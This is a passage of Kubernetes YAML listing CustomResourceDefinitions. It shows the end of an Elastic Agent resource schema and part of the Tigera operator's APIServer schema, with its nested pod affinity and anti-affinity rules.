                                  volumeMode defines what type of volume is required by the claim.
                                  Value of Filesystem is implied when not included in claim spec.
                                type: string
                              volumeName:
                                description: volumeName is the binding reference to
                                  the PersistentVolume backing this claim.
                                type: string
                            type: object
                        type: object
                      type: array
                  type: object
                version:
                  description: Version of the Agent.
                  type: string
              required:
              - version
              type: object
            status:
              description: AgentStatus defines the observed state of the Agent
              properties:
                availableNodes:
                  format: int32
                  type: integer
                elasticsearchAssociationsStatus:
                  additionalProperties:
                    description: AssociationStatus is the status of an association
                      resource.
                    type: string
                  description: |-
                    AssociationStatusMap is the map of association's namespaced name string to its AssociationStatus. For resources that
                    have a single Association of a given type (for ex. single ES reference), this map contains a single entry.
                  type: object
                expectedNodes:
                  format: int32
                  type: integer
                fleetServerAssociationStatus:
                  description: AssociationStatus is the status of an association resource.
                  type: string
                health:
                  type: string
                kibanaAssociationStatus:
                  description: AssociationStatus is the status of an association resource.
                  type: string
                observedGeneration:
                  description: |-
                    ObservedGeneration is the most recent generation observed for this Elastic Agent.
                    It corresponds to the metadata generation, which is updated on mutation by the API Server.
                    If the generation observed in status diverges from the generation in metadata, the Elastic
                    Agent controller has not yet processed the changes contained in the Elastic Agent specification.
                  format: int64
                  type: integer
                version:
                  description: |-
                    Version of the stack resource currently running. During version upgrades, multiple versions may run
                    in parallel: this value specifies the lowest version currently running.
                  type: string
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - elastic
      kind: Agent
      listKind: AgentList
      plural: agents
      shortNames:
      - agent
      singular: agent
    conditions:
    - lastTransitionTime: "2025-09-23T11:55:59Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T11:55:59Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
    creationTimestamp: "2025-10-19T16:10:23Z"
    generation: 1
    name: apiservers.operator.tigera.io
    resourceVersion: "6820560"
    uid: 87b98e54-11ac-4190-a2cb-f2afa61d5d88
  spec:
    conversion:
      strategy: None
    group: operator.tigera.io
    names:
      kind: APIServer
      listKind: APIServerList
      plural: apiservers
      singular: apiserver
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          description: |-
            APIServer installs the Tigera API server and related resources. At most one instance
            of this resource is supported. It must be named "default" or "tigera-secure".
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: Specification of the desired state for the Tigera API server.
              properties:
                apiServerDeployment:
                  description: |-
                    APIServerDeployment configures the calico-apiserver (or tigera-apiserver in Enterprise) Deployment. If
                    used in conjunction with ControlPlaneNodeSelector or ControlPlaneTolerations, then these overrides
                    take precedence.
                  properties:
                    metadata:
                      description: Metadata is a subset of a Kubernetes object's metadata
                        that is added to the Deployment.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          description: |-
                            Annotations is a map of arbitrary non-identifying metadata. Each of these
                            key/value pairs are added to the object's annotations provided the key does not
                            already exist in the object's annotations.
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          description: |-
                            Labels is a map of string keys and values that may match replicaset and
                            service selectors. Each of these key/value pairs are added to the
                            object's labels provided the key does not already exist in the object's labels.
                          type: object
                      type: object
                    spec:
                      description: Spec is the specification of the API server Deployment.
                      properties:
                        minReadySeconds:
                          description: |-
                            MinReadySeconds is the minimum number of seconds for which a newly created Deployment pod should
                            be ready without any of its container crashing, for it to be considered available.
                            If specified, this overrides any minReadySeconds value that may be set on the API server Deployment.
                            If omitted, the API server Deployment will use its default value for minReadySeconds.
                          format: int32
                          maximum: 2147483647
                          minimum: 0
                          type: integer
                        template:
                          description: Template describes the API server Deployment
                            pod that will be created.
                          properties:
                            metadata:
                              description: |-
                                Metadata is a subset of a Kubernetes object's metadata that is added to
                                the pod's metadata.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
                              type: object
                            spec:
                              description: Spec is the API server Deployment's PodSpec.
                              properties:
                                affinity:
                                  description: |-
                                    Affinity is a group of affinity scheduling rules for the API server pods.
                                    If specified, this overrides any affinity that may be set on the API server Deployment.
                                    If omitted, the API server Deployment will use its default value for affinity.
                                    WARNING: Please note that this field will override the default API server Deployment affinity.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
